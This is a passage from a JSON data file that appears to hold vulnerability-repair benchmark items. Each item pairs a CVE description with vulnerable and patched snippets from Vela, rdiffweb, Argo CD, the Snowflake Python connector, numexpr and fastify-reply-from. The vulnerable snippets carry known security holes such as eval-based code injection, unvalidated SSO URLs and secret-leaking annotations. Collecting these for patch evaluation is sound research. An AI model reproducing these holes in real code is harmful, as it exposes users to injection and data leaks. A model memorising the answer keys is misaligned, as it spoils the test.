                "snippet": "func Render(tmpl string, s *types.Step) (types.StepSlice, error) {\n\tbuffer := new(bytes.Buffer)\n\tconfig := new(types.Build)\n\n\tvelaFuncs := funcHandler{envs: convertPlatformVars(s.Environment)}\n\ttemplateFuncMap := map[string]interface{}{\n\t\t\"vela\": velaFuncs.returnPlatformVar,\n\t}\n\n\t// parse the template with Masterminds/sprig functions\n\t//\n\t// https://pkg.go.dev/github.com/Masterminds/sprig?tab=doc#TxtFuncMap\n\tt, err := template.New(s.Name).Funcs(sprig.TxtFuncMap()).Funcs(templateFuncMap).Parse(tmpl)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to parse template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// apply the variables to the parsed template\n\terr = t.Execute(buffer, s.Template.Variables)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to execute template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// unmarshal the template to the pipeline\n\terr = yaml.Unmarshal(buffer.Bytes(), config)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to unmarshal yaml: %v\", err)\n\t}\n\n\t// ensure all templated steps have template prefix\n\tfor index, newStep := range config.Steps {\n\t\tconfig.Steps[index].Name = fmt.Sprintf(\"%s_%s\", s.Name, newStep.Name)\n\t}\n\n\treturn config.Steps, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            8
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            13
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_5_1",
                "commit": "f1ace5f8a05c95c4d02264556e38a959ee2d9bda",
                "file_path": "template/native/render.go",
                "start_line": 16,
                "end_line": 58,
                "snippet": "func Render(tmpl string, s *types.Step) (types.StepSlice, error) {\n\tbuffer := new(bytes.Buffer)\n\tconfig := new(types.Build)\n\n\tvelaFuncs := funcHandler{envs: convertPlatformVars(s.Environment)}\n\ttemplateFuncMap := map[string]interface{}{\n\t\t\"vela\": velaFuncs.returnPlatformVar,\n\t}\n\t// modify Masterminds/sprig functions\n\t// to remove OS functions\n\t//\n\t// https://masterminds.github.io/sprig/os.html\n\tsf := sprig.TxtFuncMap()\n\tdelete(sf, \"env\")\n\tdelete(sf, \"expandenv\")\n\n\t// parse the template with Masterminds/sprig functions\n\t//\n\t// https://pkg.go.dev/github.com/Masterminds/sprig?tab=doc#TxtFuncMap\n\tt, err := template.New(s.Name).Funcs(sf).Funcs(templateFuncMap).Parse(tmpl)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to parse template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// apply the variables to the parsed template\n\terr = t.Execute(buffer, s.Template.Variables)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to execute template %s: %v\", s.Template.Name, err)\n\t}\n\n\t// unmarshal the template to the pipeline\n\terr = yaml.Unmarshal(buffer.Bytes(), config)\n\tif err != nil {\n\t\treturn types.StepSlice{}, fmt.Errorf(\"unable to unmarshal yaml: %v\", err)\n\t}\n\n\t// ensure all templated steps have template prefix\n\tfor index, newStep := range config.Steps {\n\t\tconfig.Steps[index].Name = fmt.Sprintf(\"%s_%s\", s.Name, newStep.Name)\n\t}\n\n\treturn config.Steps, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-26294"
    },
    {
        "cve_id": "CVE-2022-3298",
        "cve_description": "Allocation of Resources Without Limits or Throttling in GitHub repository ikus060/rdiffweb prior to 2.4.8.",
        "cwe_info": {
            "CWE-770": {
                "name": "Allocation of Resources Without Limits or Throttling",
                "description": "The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor."
            }
        },
        "repo": "https://github.com/ikus060/rdiffweb",
        "patch_url": [
            "https://github.com/ikus060/rdiffweb/commit/626cca1b75b6c587afd4241a9692e8929b1921a5"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_26_1",
                "commit": "667657c",
                "file_path": "rdiffweb/controller/pref_sshkeys.py",
                "start_line": 49,
                "end_line": 63,
                "snippet": "class SshForm(CherryForm):\n    title = StringField(\n        _('Title'),\n        description=_('The title is an optional description to identify the key. e.g.: bob@thinkpad-t530'),\n        validators=[validators.data_required()],\n    )\n    key = StringField(\n        _('Key'),\n        widget=TextArea(),\n        description=_(\n            \"Enter a SSH public key. It should start with 'ssh-dss', 'ssh-ed25519', 'ssh-rsa', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384' or 'ecdsa-sha2-nistp521'.\"\n        ),\n        validators=[validators.data_required(), validate_key],\n    )\n    fingerprint = StringField('Fingerprint')",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_26_1",
                "commit": "626cca1b75b6c587afd4241a9692e8929b1921a5",
                "file_path": "rdiffweb/controller/pref_sshkeys.py",
                "start_line": 49,
                "end_line": 69,
                "snippet": "class SshForm(CherryForm):\n    title = StringField(\n        _('Title'),\n        description=_('The title is an optional description to identify the key. e.g.: bob@thinkpad-t530'),\n        validators=[\n            validators.data_required(),\n            validators.length(\n                max=256,\n                message=_('Title too long.'),\n            ),\n        ],\n    )\n    key = StringField(\n        _('Key'),\n        widget=TextArea(),\n        description=_(\n            \"Enter a SSH public key. It should start with 'ssh-dss', 'ssh-ed25519', 'ssh-rsa', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384' or 'ecdsa-sha2-nistp521'.\"\n        ),\n        validators=[validators.data_required(), validate_key],\n    )\n    fingerprint = StringField('Fingerprint')"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-3298"
    },
    {
        "cve_id": "CVE-2023-40029",
        "cve_description": "Argo CD is a declarative continuous deployment for Kubernetes. Argo CD Cluster secrets might be managed declaratively using Argo CD / kubectl apply. As a result, the full secret body is stored in`kubectl.kubernetes.io/last-applied-configuration` annotation. pull request #7139 introduced the ability to manage cluster labels and annotations. Since clusters are stored as secrets it also exposes the `kubectl.kubernetes.io/last-applied-configuration` annotation which includes full secret body. In order to view the cluster annotations via the Argo CD API, the user must have `clusters, get` RBAC access. **Note:** In many cases, cluster secrets do not contain any actually-secret information. But sometimes, as in bearer-token auth, the contents might be very sensitive. The bug has been patched in versions 2.8.3, 2.7.14, and 2.6.15. Users are advised to upgrade. Users unable to upgrade should update/deploy cluster secret with `server-side-apply` flag which does not use or rely on `kubectl.kubernetes.io/last-applied-configuration` annotation. Note: annotation for existing secrets will require manual removal.",
        "cwe_info": {
            "CWE-532": {
                "name": "Insertion of Sensitive Information into Log File",
                "description": "The product writes sensitive information to a log file."
            }
        },
        "repo": "https://github.com/argoproj/argo-cd",
        "patch_url": [
            "https://github.com/argoproj/argo-cd/commit/4b2e5b06bff2ffd8ed1970654ddd8e55fc4a41c4"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_82_1",
                "commit": "b8f92c4",
                "file_path": "util/db/cluster.go",
                "start_line": "320",
                "end_line": "361",
                "snippet": "func clusterToSecret(c *appv1.Cluster, secret *apiv1.Secret) error {\n\tdata := make(map[string][]byte)\n\tdata[\"server\"] = []byte(strings.TrimRight(c.Server, \"/\"))\n\tif c.Name == \"\" {\n\t\tdata[\"name\"] = []byte(c.Server)\n\t} else {\n\t\tdata[\"name\"] = []byte(c.Name)\n\t}\n\tif len(c.Namespaces) != 0 {\n\t\tdata[\"namespaces\"] = []byte(strings.Join(c.Namespaces, \",\"))\n\t}\n\tconfigBytes, err := json.Marshal(c.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdata[\"config\"] = configBytes\n\tif c.Shard != nil {\n\t\tdata[\"shard\"] = []byte(strconv.Itoa(int(*c.Shard)))\n\t}\n\tif c.ClusterResources {\n\t\tdata[\"clusterResources\"] = []byte(\"true\")\n\t}\n\tif c.Project != \"\" {\n\t\tdata[\"project\"] = []byte(c.Project)\n\t}\n\tsecret.Data = data\n\n\tsecret.Labels = c.Labels\n\tsecret.Annotations = c.Annotations\n\n\tif secret.Annotations == nil {\n\t\tsecret.Annotations = make(map[string]string)\n\t}\n\n\tif c.RefreshRequestedAt != nil {\n\t\tsecret.Annotations[appv1.AnnotationKeyRefresh] = c.RefreshRequestedAt.Format(time.RFC3339)\n\t} else {\n\t\tdelete(secret.Annotations, appv1.AnnotationKeyRefresh)\n\t}\n\taddSecretMetadata(secret, common.LabelValueSecretTypeCluster)\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            29
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_go_82_2",
                "commit": "b8f92c4",
                "file_path": "util/db/cluster.go",
                "start_line": "364",
                "end_line": "423",
                "snippet": "func SecretToCluster(s *apiv1.Secret) (*appv1.Cluster, error) {\n\tvar config appv1.ClusterConfig\n\tif len(s.Data[\"config\"]) > 0 {\n\t\terr := json.Unmarshal(s.Data[\"config\"], &config)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to unmarshal cluster config: %w\", err)\n\t\t}\n\t}\n\n\tvar namespaces []string\n\tfor _, ns := range strings.Split(string(s.Data[\"namespaces\"]), \",\") {\n\t\tif ns = strings.TrimSpace(ns); ns != \"\" {\n\t\t\tnamespaces = append(namespaces, ns)\n\t\t}\n\t}\n\tvar refreshRequestedAt *metav1.Time\n\tif v, found := s.Annotations[appv1.AnnotationKeyRefresh]; found {\n\t\trequestedAt, err := time.Parse(time.RFC3339, v)\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Error while parsing date in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\trefreshRequestedAt = &metav1.Time{Time: requestedAt}\n\t\t}\n\t}\n\tvar shard *int64\n\tif shardStr := s.Data[\"shard\"]; shardStr != nil {\n\t\tif val, err := strconv.Atoi(string(shardStr)); err != nil {\n\t\t\tlog.Warnf(\"Error while parsing shard in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\tshard = pointer.Int64Ptr(int64(val))\n\t\t}\n\t}\n\n\t// copy labels and annotations excluding system ones\n\tlabels := map[string]string{}\n\tif s.Labels != nil {\n\t\tlabels = collections.CopyStringMap(s.Labels)\n\t\tdelete(labels, common.LabelKeySecretType)\n\t}\n\tannotations := map[string]string{}\n\tif s.Annotations != nil {\n\t\tannotations = collections.CopyStringMap(s.Annotations)\n\t\tdelete(annotations, common.AnnotationKeyManagedBy)\n\t}\n\n\tcluster := appv1.Cluster{\n\t\tID:                 string(s.UID),\n\t\tServer:             strings.TrimRight(string(s.Data[\"server\"]), \"/\"),\n\t\tName:               string(s.Data[\"name\"]),\n\t\tNamespaces:         namespaces,\n\t\tClusterResources:   string(s.Data[\"clusterResources\"]) == \"true\",\n\t\tConfig:             config,\n\t\tRefreshRequestedAt: refreshRequestedAt,\n\t\tShard:              shard,\n\t\tProject:            string(s.Data[\"project\"]),\n\t\tLabels:             labels,\n\t\tAnnotations:        annotations,\n\t}\n\treturn &cluster, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            40
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_82_1",
                "commit": "4b2e5b0",
                "file_path": "util/db/cluster.go",
                "start_line": "320",
                "end_line": "364",
                "snippet": "func clusterToSecret(c *appv1.Cluster, secret *apiv1.Secret) error {\n\tdata := make(map[string][]byte)\n\tdata[\"server\"] = []byte(strings.TrimRight(c.Server, \"/\"))\n\tif c.Name == \"\" {\n\t\tdata[\"name\"] = []byte(c.Server)\n\t} else {\n\t\tdata[\"name\"] = []byte(c.Name)\n\t}\n\tif len(c.Namespaces) != 0 {\n\t\tdata[\"namespaces\"] = []byte(strings.Join(c.Namespaces, \",\"))\n\t}\n\tconfigBytes, err := json.Marshal(c.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdata[\"config\"] = configBytes\n\tif c.Shard != nil {\n\t\tdata[\"shard\"] = []byte(strconv.Itoa(int(*c.Shard)))\n\t}\n\tif c.ClusterResources {\n\t\tdata[\"clusterResources\"] = []byte(\"true\")\n\t}\n\tif c.Project != \"\" {\n\t\tdata[\"project\"] = []byte(c.Project)\n\t}\n\tsecret.Data = data\n\n\tsecret.Labels = c.Labels\n\tif c.Annotations != nil && c.Annotations[apiv1.LastAppliedConfigAnnotation] != \"\" {\n\t\treturn status.Errorf(codes.InvalidArgument, \"annotation %s cannot be set\", apiv1.LastAppliedConfigAnnotation)\n\t}\n\tsecret.Annotations = c.Annotations\n\n\tif secret.Annotations == nil {\n\t\tsecret.Annotations = make(map[string]string)\n\t}\n\n\tif c.RefreshRequestedAt != nil {\n\t\tsecret.Annotations[appv1.AnnotationKeyRefresh] = c.RefreshRequestedAt.Format(time.RFC3339)\n\t} else {\n\t\tdelete(secret.Annotations, appv1.AnnotationKeyRefresh)\n\t}\n\taddSecretMetadata(secret, common.LabelValueSecretTypeCluster)\n\treturn nil\n}"
            },
            {
                "id": "fix_go_82_2",
                "commit": "4b2e5b0",
                "file_path": "util/db/cluster.go",
                "start_line": "367",
                "end_line": "428",
                "snippet": "func SecretToCluster(s *apiv1.Secret) (*appv1.Cluster, error) {\n\tvar config appv1.ClusterConfig\n\tif len(s.Data[\"config\"]) > 0 {\n\t\terr := json.Unmarshal(s.Data[\"config\"], &config)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to unmarshal cluster config: %w\", err)\n\t\t}\n\t}\n\n\tvar namespaces []string\n\tfor _, ns := range strings.Split(string(s.Data[\"namespaces\"]), \",\") {\n\t\tif ns = strings.TrimSpace(ns); ns != \"\" {\n\t\t\tnamespaces = append(namespaces, ns)\n\t\t}\n\t}\n\tvar refreshRequestedAt *metav1.Time\n\tif v, found := s.Annotations[appv1.AnnotationKeyRefresh]; found {\n\t\trequestedAt, err := time.Parse(time.RFC3339, v)\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Error while parsing date in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\trefreshRequestedAt = &metav1.Time{Time: requestedAt}\n\t\t}\n\t}\n\tvar shard *int64\n\tif shardStr := s.Data[\"shard\"]; shardStr != nil {\n\t\tif val, err := strconv.Atoi(string(shardStr)); err != nil {\n\t\t\tlog.Warnf(\"Error while parsing shard in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\tshard = pointer.Int64Ptr(int64(val))\n\t\t}\n\t}\n\n\t// copy labels and annotations excluding system ones\n\tlabels := map[string]string{}\n\tif s.Labels != nil {\n\t\tlabels = collections.CopyStringMap(s.Labels)\n\t\tdelete(labels, common.LabelKeySecretType)\n\t}\n\tannotations := map[string]string{}\n\tif s.Annotations != nil {\n\t\tannotations = collections.CopyStringMap(s.Annotations)\n\t\t// delete system annotations\n\t\tdelete(annotations, apiv1.LastAppliedConfigAnnotation)\n\t\tdelete(annotations, common.AnnotationKeyManagedBy)\n\t}\n\n\tcluster := appv1.Cluster{\n\t\tID:                 string(s.UID),\n\t\tServer:             strings.TrimRight(string(s.Data[\"server\"]), \"/\"),\n\t\tName:               string(s.Data[\"name\"]),\n\t\tNamespaces:         namespaces,\n\t\tClusterResources:   string(s.Data[\"clusterResources\"]) == \"true\",\n\t\tConfig:             config,\n\t\tRefreshRequestedAt: refreshRequestedAt,\n\t\tShard:              shard,\n\t\tProject:            string(s.Data[\"project\"]),\n\t\tLabels:             labels,\n\t\tAnnotations:        annotations,\n\t}\n\treturn &cluster, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-40029"
    },
    {
        "cve_id": "CVE-2023-34233",
        "cve_description": "The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Versions prior to 3.0.2 are vulnerable to command injection via single sign-on(SSO) browser URL authentication. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user’s local machine would render the malicious payload, leading to a remote code execution. This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources. Version 3.0.2 contains a patch for this issue.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/snowflakedb/snowflake-connector-python",
        "patch_url": [
            "https://github.com/snowflakedb/snowflake-connector-python/commit/1cdbd3b1403c5ef520d7f4d9614fe35165e101ac"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_14_1",
                "commit": "4b1d474",
                "file_path": "src/snowflake/connector/snow_logging.py",
                "start_line": 59,
                "end_line": 72,
                "snippet": "    def warn(  # type: ignore[override]\n        self,\n        msg: str,\n        path_name: str | None = None,\n        func_name: str | None = None,\n        *args: Any,\n        **kwargs: Any,\n    ) -> None:\n        warnings.warn(\n            \"The 'warn' method is deprecated, \" \"use 'warning' instead\",\n            DeprecationWarning,\n            2,\n        )\n        self.warning(msg, path_name, func_name, *args, **kwargs)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            12
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_14_2",
                "commit": "4b1d474",
                "file_path": "src/snowflake/connector/auth/webbrowser.py",
                "start_line": 100,
                "end_line": 174,
                "snippet": "    def prepare(\n        self,\n        *,\n        conn: SnowflakeConnection,\n        authenticator: str,\n        service_name: str | None,\n        account: str,\n        user: str,\n        **kwargs: Any,\n    ) -> None:\n        \"\"\"Web Browser based Authentication.\"\"\"\n        logger.debug(\"authenticating by Web Browser\")\n\n        socket_connection = self._socket(socket.AF_INET, socket.SOCK_STREAM)\n        try:\n            try:\n                socket_connection.bind(\n                    (\n                        os.getenv(\"SF_AUTH_SOCKET_ADDR\", \"localhost\"),\n                        int(os.getenv(\"SF_AUTH_SOCKET_PORT\", 0)),\n                    )\n                )\n            except socket.gaierror as ex:\n                if ex.args[0] == socket.EAI_NONAME:\n                    raise OperationalError(\n                        msg=\"localhost is not found. Ensure /etc/hosts has \"\n                        \"localhost entry.\",\n                        errno=ER_NO_HOSTNAME_FOUND,\n                    )\n                else:\n                    raise ex\n            socket_connection.listen(0)  # no backlog\n            callback_port = socket_connection.getsockname()[1]\n\n            print(\n                \"Initiating login request with your identity provider. A \"\n                \"browser window should have opened for you to complete the \"\n                \"login. If you can't see it, check existing browser windows, \"\n                \"or your OS settings. Press CTRL+C to abort and try again...\"\n            )\n\n            logger.debug(\"step 1: query GS to obtain SSO url\")\n            sso_url = self._get_sso_url(\n                conn, authenticator, service_name, account, callback_port, user\n            )\n\n            logger.debug(\"step 2: open a browser\")\n            print(f\"Going to open: {sso_url} to authenticate...\")\n            if not self._webbrowser.open_new(sso_url):\n                print(\n                    \"We were unable to open a browser window for you, \"\n                    \"please open the url above manually then paste the \"\n                    \"URL you are redirected to into the terminal.\"\n                )\n                url = input(\"Enter the URL the SSO URL redirected you to: \")\n                self._process_get_url(url)\n                if not self._token:\n                    # Input contained no token, either URL was incorrectly pasted,\n                    # empty or just wrong\n                    self._handle_failure(\n                        conn=conn,\n                        ret={\n                            \"code\": ER_UNABLE_TO_OPEN_BROWSER,\n                            \"message\": (\n                                \"Unable to open a browser in this environment and \"\n                                \"SSO URL contained no token\"\n                            ),\n                        },\n                    )\n                    return\n            else:\n                logger.debug(\"step 3: accept SAML token\")\n                self._receive_saml_token(conn, socket_connection)\n        finally:\n            socket_connection.close()",
                "vul_localization": [
                    {
                        "patch_lines": [
                            42,
                            43,
                            44,
                            45
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_14_1",
                "commit": "1cdbd3b",
                "file_path": "src/snowflake/connector/snow_logging.py",
                "start_line": 59,
                "end_line": 72,
                "snippet": "    def warn(  # type: ignore[override]\n        self,\n        msg: str,\n        path_name: str | None = None,\n        func_name: str | None = None,\n        *args: Any,\n        **kwargs: Any,\n    ) -> None:\n        warnings.warn(\n            \"The 'warn' method is deprecated, \" \"use 'warning' instead\",\n            DeprecationWarning,\n            stacklevel=2,\n        )\n        self.warning(msg, path_name, func_name, *args, **kwargs)"
            },
            {
                "id": "fix_py_14_2",
                "commit": "1cdbd3b",
                "file_path": "src/snowflake/connector/auth/webbrowser.py",
                "start_line": 102,
                "end_line": 187,
                "snippet": "    def prepare(\n        self,\n        *,\n        conn: SnowflakeConnection,\n        authenticator: str,\n        service_name: str | None,\n        account: str,\n        user: str,\n        **kwargs: Any,\n    ) -> None:\n        \"\"\"Web Browser based Authentication.\"\"\"\n        logger.debug(\"authenticating by Web Browser\")\n\n        socket_connection = self._socket(socket.AF_INET, socket.SOCK_STREAM)\n        try:\n            try:\n                socket_connection.bind(\n                    (\n                        os.getenv(\"SF_AUTH_SOCKET_ADDR\", \"localhost\"),\n                        int(os.getenv(\"SF_AUTH_SOCKET_PORT\", 0)),\n                    )\n                )\n            except socket.gaierror as ex:\n                if ex.args[0] == socket.EAI_NONAME:\n                    raise OperationalError(\n                        msg=\"localhost is not found. Ensure /etc/hosts has \"\n                        \"localhost entry.\",\n                        errno=ER_NO_HOSTNAME_FOUND,\n                    )\n                else:\n                    raise ex\n            socket_connection.listen(0)  # no backlog\n            callback_port = socket_connection.getsockname()[1]\n\n            logger.debug(\"step 1: query GS to obtain SSO url\")\n            sso_url = self._get_sso_url(\n                conn, authenticator, service_name, account, callback_port, user\n            )\n\n            logger.debug(\"Validate SSO URL\")\n            if not is_valid_url(sso_url):\n                self._handle_failure(\n                    conn=conn,\n                    ret={\n                        \"code\": ER_INVALID_VALUE,\n                        \"message\": (f\"The SSO URL provided {sso_url} is invalid\"),\n                    },\n                )\n                return\n\n            print(\n                \"Initiating login request with your identity provider. A \"\n                \"browser window should have opened for you to complete the \"\n                \"login. If you can't see it, check existing browser windows, \"\n                \"or your OS settings. Press CTRL+C to abort and try again...\"\n            )\n\n            logger.debug(\"step 2: open a browser\")\n            print(f\"Going to open: {sso_url} to authenticate...\")\n            if not self._webbrowser.open_new(sso_url):\n                print(\n                    \"We were unable to open a browser window for you, \"\n                    \"please open the url above manually then paste the \"\n                    \"URL you are redirected to into the terminal.\"\n                )\n                url = input(\"Enter the URL the SSO URL redirected you to: \")\n                self._process_get_url(url)\n                if not self._token:\n                    # Input contained no token, either URL was incorrectly pasted,\n                    # empty or just wrong\n                    self._handle_failure(\n                        conn=conn,\n                        ret={\n                            \"code\": ER_UNABLE_TO_OPEN_BROWSER,\n                            \"message\": (\n                                \"Unable to open a browser in this environment and \"\n                                \"SSO URL contained no token\"\n                            ),\n                        },\n                    )\n                    return\n            else:\n                logger.debug(\"step 3: accept SAML token\")\n                self._receive_saml_token(conn, socket_connection)\n        finally:\n            socket_connection.close()"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-34233"
    },
    {
        "cve_id": "CVE-2023-39631",
        "cve_description": "The numexpr expression compiler accepts expression strings through the public evaluate() API and converts them into an internal NumExpr expression tree. During this conversion, user-controlled expression text is compiled and evaluated with Python eval(), allowing expressions that are outside the NumExpr language to access Python runtime objects and potentially execute arbitrary code. An attacker who can supply an expression string, including through applications that pass untrusted input to numexpr.evaluate(), may abuse Python introspection, imports, or other non-NumExpr language constructs to trigger operating-system side effects or remote code execution.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            },
            "CWE-77": {
                "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')",
                "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."
            },
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/pydata/numexpr",
        "patch_url": [
            "https://github.com/pydata/numexpr/commit/4b2d89cf14e75030d27629925b9998e1e91d23c7"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_35_1",
                "commit": "74d5973",
                "file_path": "numexpr/necompiler.py",
                "start_line": 263,
                "end_line": 296,
                "snippet": "def stringToExpression(s, types, context):\n    \"\"\"Given a string, convert it to a tree of ExpressionNode's.\n    \"\"\"\n    old_ctx = expressions._context.get_current_context()\n    try:\n        expressions._context.set_new_context(context)\n        # first compile to a code object to determine the names\n        if context.get('truediv', False):\n            flags = __future__.division.compiler_flag\n        else:\n            flags = 0\n        c = compile(s, '', 'eval', flags)\n        # make VariableNode's for the names\n        names = {}\n        for name in c.co_names:\n            if name == \"None\":\n                names[name] = None\n            elif name == \"True\":\n                names[name] = True\n            elif name == \"False\":\n                names[name] = False\n            else:\n                t = types.get(name, default_type)\n                names[name] = expressions.VariableNode(name, type_to_kind[t])\n        names.update(expressions.functions)\n        # now build the expression\n        ex = eval(c, names)\n        if expressions.isConstant(ex):\n            ex = expressions.ConstantNode(ex, expressions.getKind(ex))\n        elif not isinstance(ex, expressions.ExpressionNode):\n            raise TypeError(\"unsupported expression type: %s\" % type(ex))\n    finally:\n        expressions._context.set_new_context(old_ctx)\n    return ex",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_35_1",
                "commit": "4b2d89c",
                "file_path": "numexpr/necompiler.py",
                "start_line": 263,
                "end_line": 306,
                "snippet": "_forbidden_re = re.compile('[\\;[\\:]|__')\ndef stringToExpression(s, types, context):\n    \"\"\"Given a string, convert it to a tree of ExpressionNode's.\n    \"\"\"\n    # sanitize the string for obvious attack vectors that NumExpr cannot \n    # parse into its homebrew AST. This is to protect the call to `eval` below.\n    # We forbid `;`, `:`. `[` and `__`\n    # We would like to forbid `.` but it is both a reference and decimal point.\n    if _forbidden_re.search(s) is not None:\n        raise ValueError(f'Expression {s} has forbidden control characters.')\n    \n    old_ctx = expressions._context.get_current_context()\n    try:\n        expressions._context.set_new_context(context)\n        # first compile to a code object to determine the names\n        if context.get('truediv', False):\n            flags = __future__.division.compiler_flag\n        else:\n            flags = 0\n        c = compile(s, '', 'eval', flags)\n        # make VariableNode's for the names\n        names = {}\n        for name in c.co_names:\n            if name == \"None\":\n                names[name] = None\n            elif name == \"True\":\n                names[name] = True\n            elif name == \"False\":\n                names[name] = False\n            else:\n                t = types.get(name, default_type)\n                names[name] = expressions.VariableNode(name, type_to_kind[t])\n        names.update(expressions.functions)\n\n        # now build the expression\n        ex = eval(c, names)\n        \n        if expressions.isConstant(ex):\n            ex = expressions.ConstantNode(ex, expressions.getKind(ex))\n        elif not isinstance(ex, expressions.ExpressionNode):\n            raise TypeError(\"unsupported expression type: %s\" % type(ex))\n    finally:\n        expressions._context.set_new_context(old_ctx)\n    return ex"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-39631"
    },
    {
        "cve_id": "CVE-2021-21321",
        "cve_description": "fastify-reply-from is an npm package which is a fastify plugin to forward the current http request to another server. In fastify-reply-from before version 4.0.2, by crafting a specific URL, it is possible to escape the prefix of the proxied backend service. If the base url of the proxied server is \"/pub/\", a user expect that accessing \"/priv\" on the target service would not be possible. In affected versions, it is possible. This is fixed in version 4.0.2.",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/fastify/fastify-reply-from",
        "patch_url": [
            "https://github.com/fastify/fastify-reply-from/commit/dea227dda606900cc01870d08541b4dcc69d3889"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_70_1",
                "commit": "20d0795",
                "file_path": "lib/utils.js",
                "start_line": 58,
                "end_line": 67,
                "snippet": "function buildURL (source, reqBase) {\n  const dest = new URL(source, reqBase)\n\n  // if base is specified, source url should not override it\n  if (reqBase && !reqBase.startsWith(dest.origin)) {\n    throw new Error('source must be a relative path string')\n  }\n\n  return dest\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5,
                            6
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_70_1",
                "commit": "dea227dda606900cc01870d08541b4dcc69d3889",
                "file_path": "lib/utils.js",
                "start_line": 58,
                "end_line": 73,
